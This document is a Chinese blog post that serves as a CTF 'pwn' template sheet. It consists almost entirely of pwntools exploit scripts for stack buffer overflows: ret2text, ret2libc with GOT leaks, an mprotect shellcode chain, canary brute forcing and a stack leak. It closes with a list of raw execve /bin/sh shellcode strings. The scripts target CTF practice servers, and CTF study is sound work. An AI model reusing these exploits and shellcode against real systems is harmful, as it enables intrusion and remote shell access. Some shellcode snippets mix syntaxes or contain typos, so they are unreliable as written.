title: PWN 模板
date: 2025-01-06 19:23:15
categories:

- CTF
    - PWN专栏
  tags: 
    - pwn

# 1. 有后门函数

# 32 位

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28178)
flag=0x08048586
p.recvuntil("want: ")
payload1=b"a"*(0x28+4)+p32(flag)#+p32()+p32()+p32()+p32()
p.sendline(payload1)
p.recv()
p.interactive()

# 64 位

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28279)
flag=0x0400657
ret=0x0000000000400287
p.recvuntil("easy ret2text&&64bit")
payload1=b"a"*(18)+p64(ret)+p64(flag)#堆栈平衡了
p.sendline(payload1)
p.recv()
p.interactive()

# 2. 有后门,但需要自己传入参数

# 32 位

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28163)
ret=0x08048356
system=0x080483A0
binsh=0x8048750
p.recvuntil("ret2text&&32bit")
#32 位传参 (先函数,再返回地址,然后是参数)
#payload=padding+p32 (system)+p32 (system 的返回地址)+p32 (system 的参数)
payload1=b"a"*(0x12+4)+p32(system)+p32(0)+p32(binsh)#
p.sendline(payload1)
p.recv()
p.interactive()

# 64 位

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=remote("pwn.challenge.ctf.show",28188)
ret=0x00000000004004fe
rdi_ret=0x00000000004007e3
system=0x0000000000400520
binsh=0x0000000000400808
p.recvuntil("ret2text&&64bit")
#64 位传参需要利用寄存器:payload=padding+p64 (rdi_ret)+p64 (binsh)+p64 (system)
payload1=b"a"*(0xa+8)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
#这里需要考虑堆栈平衡
p.sendline(payload1)
p.recv()
p.interactive()

# 3. 只有 system,手动写入 /bin/sh

# 32 位

from pwn import *
context(os='linux', arch='i386', log_level='debug')
p=process("./pwn43")
#p=remote("pwn.challenge.ctf.show",28212)
system_plt=0x8048450
gets_plt=0x8048420
sh=b"/bin/sh"
bss=0x804B060
payload=b"b"*(0x6c+4)+p32(gets_plt)+p32(system_plt)+p32(bss)+p32(bss)
#gdb.attach(p)
#pause()
p.recvuntil("***                           \n")
p.sendline(payload)
p.sendline(sh)
p.interactive()

# 64 位

from pwn import *
p=process("./pwn44")
context(os='linux', arch='amd64', log_level='debug')
#p=remote("pwn.challenge.ctf.show",28212)
pop_rdi_ret=0x00000000004007f3
system_plt=0x000000000400520
gets_plt=0x000000000400530
ret=0x00000000004004fe
sh=b"/bin/sh"
bss=0x000000000602080
payload=b"b"*(0xa+8)+p64(pop_rdi_ret)+p64(bss)+p64(gets_plt)+p64(pop_rdi_ret)+p64(bss)+p64(system_plt)#有时需要注意栈对齐
p.recvuntil("parameter!\n")
p.sendline(payload)
p.sendline(sh)
p.interactive()

# 泄露 got 表地址计算出 system 地址及参数 (ret2libc)

# 32 位 (在线 libc)

from pwn import *
from LibcSearcher import *
#context(os='linux', arch='i386', log_level='debug')
p=process("./pwn45")
e=ELF("./pwn45")
p=remote("pwn.challenge.ctf.show", 28243)
#pop_rdi_ret=0x0000000000400843
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
main=e.sym["main"]
bss=0x804B060
gets=0x8048420#0x080487A1
payload1=b"b"*(0x6b+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)#+p32(0)#
#gdb.attach(p)
#pause()
p.recvuntil("O.o?\n")
p.sendline(payload1)
write_got=u32(p.recvuntil('\xf7')[-4:])
log.info("write_got:"+hex(write_got))
#p.sendline(sh)
#p.recv()
p.recvuntil("O.o?\n")
libc=LibcSearcher("write",write_got)
libc_base=write_got-libc.dump("write")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"b"*(0x6b+4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload2)
p.interactive()

# 32 位 (本地 libc)

from pwn import *
from LibcSearcher import *
#context(os='linux', arch='i386', log_level='debug')
p=process("./pwn45")
e=ELF("./pwn45")
#p=remote("pwn.challenge.ctf.show", 28243)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")#用 ldd 查找具体的本地环境 libc
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
main=e.sym["main"]
bss=0x804B060
gets=0x8048420#0x080487A1
payload1=b"b"*(0x6b+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)#+p32(0)#
p.recvuntil("O.o?\n")
p.sendline(payload1)
write_got=u32(p.recvuntil('\xf7')[-4:])
log.info("write_got:"+hex(write_got))
p.recvuntil("O.o?\n")
#本地 libc
libc_base=write_got-libc.symbols["write"]
log.info("libc_base:"+hex(libc_base))
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh")) #这里一定要转化为字节,不然会报错
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
#在线 libc
#libc=LibcSearcher("write",write_got)
#libc_base=write_got-libc.dump("write")
#system=libc_base+libc.dump("system")
#binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"b"*(0x6b+4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload2)
p.interactive()

# 64 位 (在线 libc)

from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
#p=process("./pwn46")
e=ELF("./pwn46")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#./64libc.so.6")
#libc=ELF("./64libc.so.6")
p=remote("pwn.challenge.ctf.show", 28236)
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
main=e.sym["main"]
load=0x000000000601FA0
rdi_ret=0x0000000000400803
ret=0x00000000004004fe
payload1=b"b"*(0x70+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("O.o?\n")
p.sendline(payload1)
puts_got=u64(p.recv(6).ljust(8,b'\x00'))
log.info("puts_got:"+hex(puts_got))
p.recvuntil("O.o?\n")
#本地 libc
#libc_base=puts_got-libc.symbols["puts"]
#log.info("libc_base:"+hex(libc_base))
#system=libc_base+libc.symbols["system"]
#binsh=libc_base+next (libc.search (b"/bin/sh")) #这里一定要转化为字节,不然会报错
#log.info("system:"+hex(system))
#log.info("binsh:"+hex(binsh))
#在线 libc
libc=LibcSearcher("puts",puts_got)
libc_base=puts_got-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"b"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload2)
p.interactive()

# 64 位 (本地 libc)

from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
p=process("./pwn46")
e=ELF("./pwn46")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF ("./64libc.so.6")	#	远程可以用同版本的 libc
#p=remote("pwn.challenge.ctf.show", 28236)
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
main=e.sym["main"]
load=0x000000000601FA0 #有写权限的段
rdi_ret=0x0000000000400803
ret=0x00000000004004fe
payload1=b"b"*(0x70+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("O.o?\n")
p.sendline(payload1)
puts_got=u64(p.recv(6).ljust(8,b'\x00'))
log.info("puts_got:"+hex(puts_got))
p.recvuntil("O.o?\n")
#本地 libc
libc_base=puts_got-libc.symbols["puts"]
log.info("libc_base:"+hex(libc_base))
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh")) #这里一定要转化为字节,不然会报错
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
#libc=LibcSearcher("puts",puts_got)
#libc_base=puts_got-libc.dump("puts")
#system=libc_base+libc.dump("system")
#binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"b"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload2)
p.interactive()

# 静态编译,利用 mprotect 函数修改段权限为可执行,然后写入 shellcode

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p=process("./pwn49")
e=ELF("./pwn49")
#p=remote("pwn.challenge.ctf.show", 28281)
#libc=ELF ("/lib/i386-linux-gnu/libc.so.6")# 用 ldd 查找具体的本地环境 libc
main=e.sym["main"]
print("main:"+hex(main))
puts=e.sym["puts"]
mprotect=e.sym["mprotect"]
read=e.sym["read"]
bss=0x80DB358
start=0x80DB000
gets=0x8048420
payload1=b"b"*(0x12+4)+p32(mprotect)+p32(main)+p32(start)+p32(0x1000)+p32(0x7)#mprotect (start_address【开始地址必须以 000 结尾,整页】 , length , chmod【为 7 时有所有权限】)
p.recvuntil("***                           \n")
p.recvuntil("***                           \n")
p.sendline(payload1)
p.recvuntil("***                           \n")
p.recvuntil("***                           \n")
payload2=b"b"*(0x12+4)+p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x40)#=>bss to execute ,shellcode【shellcode 写入 bss 段中,然后跳转执行】
shellcode=asm(shellcraft.sh())
p.sendline(payload2)
p.sendline(shellcode)
p.interactive()

# 爆破固定值的 canary:

# 32 位程序

4 个字节的 canary,用的是 memcmp 函数比较,尽管是比较 4 个字节,但是当我们只输入一个字节时,没有其他字节可以比较,因此我们可以通过这种方式来爆破第一个字节,第一个字节匹配后没有其他字节可以比较时也会认为是正确的,也就不会退出程序,但是这种我们无法连续输入字符溢出到 ret,因为这样会有其他字节让 memcmp 来进行比较判断,因此我们只能逐个爆破,得到一个正确字节后再进行下一个字节的判断

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='i386', log_level='debug')
canary=b''
for i in range(4):
    for j in range(0x1000):
        p=remote("pwn.challenge.ctf.show",28186)
        flag=0x08048696
        p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999')
        p.recv()
        payload1=b"I"*(0x20)+canary+p8(j)#+b"a"*16+p32(flag)#+p32(0)+p32(876)+p32(877)#+p32(system)
        p.send(payload1)
        a=p.recv()
        if b'Canary Value Incorrect!' not in a: #不输出这个字符串代表该字符匹配成功
            canary+=p8(j) #将匹配字节加入到后面(canary j  的顺序)
            print(canary)
            break
        else:
            print("gg")
        p.close()
p=remote("pwn.challenge.ctf.show",28186)
flag=0x08048696
p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999')
p.recv()
print(canary)
payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag)
p.send(payload1)
p.recv()
p.interactive()

# 覆盖栈上空字符利用 puts 函数泄露信息(绕过 strcmp)

# 32 位程序

读入的 password 也被读入栈上,而我们输入 name 的大小 256 刚好到达 password 的位置,这样以来可以覆盖末尾的空字符时 puts 函数将 password 一起输出

from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./pwn54')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28227) #第一次连接,泄露密码
p.recvuntil("Input your Username:\n")
p.send(b"a"*255+b"b")
p.recv(264)
password=p.recv()
print("password:"+str(password))
p.close()
p=remote("pwn.challenge.ctf.show",28227) #第二次连接,还原栈,使不被第一次改变部分内容,再输入密码获得 flag
p.recvuntil("Input your Username:\n")
p.sendline("a")
p.recvuntil("a")
payload=password
p.sendline(payload)
p.recv()
p.interactive()

# 无限制的 shellcode

# 32 位

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./')
#e=ELF('./')
p=remote("pwn.challenge.ctf.show",28135)
shellcode = asm(shellcraft.sh())
payload1=shellcode
p.sendline(payload1)
p.interactive()

32shellcode

unsigned char code[] =b"\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"   #30bytes Obfuscated execve /bin/sh
 
char *shellcode =b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; #23bytes execve /bin/sh
shellcode=b'\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' #25bytes  execve("/bin/sh", 0, 0);
char code[] = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #21bytes  execve ("/bin/sh")
char sc[] =b'\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'  #22bytes execve("/bin//sh/",["/bin//sh"],NULL)
                                     // <_start>
       "\xb0\x0b"                    // mov    $0xb,%al
       "\x99"                        // cltd
       "\x52"                        // push   %edx
       "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
       "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
       "\x89\xe3"                    // mov    %esp,%ebx
       "\x52"                        // push   %edx
       "\x53"                        // push   %ebx
       "\x89\xe1"                    // mov    %esp,%ecx
       "\xcd\x80"                    // int    $0x80
; #22bytes execve("/bin//sh/",["/bin//sh"],NULL)

# 64 位

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28127)
shellcode = asm(shellcraft.sh())## 写到栈上时有时候会因为 push 太多导致 shellcode 执行出现问题
p.recvuntil("")
payload1=shellcode #不加 p64 ()
p.sendline(payload1)
p.interactive()

64shellcode

shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
unsigned char sc[] = {
#   0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x50, 0x54,
#   0x5f, 0x31, 0xc0, 0x50, 0xb0, 0x3b, 0x54, 0x5a, 0x54, 0x5e, 0x0f, 0x05
# }; #24bytes execve("/bin/bash",{NULL},{NULL})
    
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; #27bytes execute /bin/sh
    
shellcode=b"x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" #29bytes execveat("/bin//sh")
    
 char shellcode[] =b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' #30bytes  execve("/bin/sh", ["/bin/sh"], NULL)
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov	$0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall
 
    
#大小写字母和数字的 shellcode【利用 alpha3 生成】:
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode) #这里如果是 sendline 可能会无法绕过限制 (`\n` 不在范围内)
此文章已被阅读次数:正在加载...更新于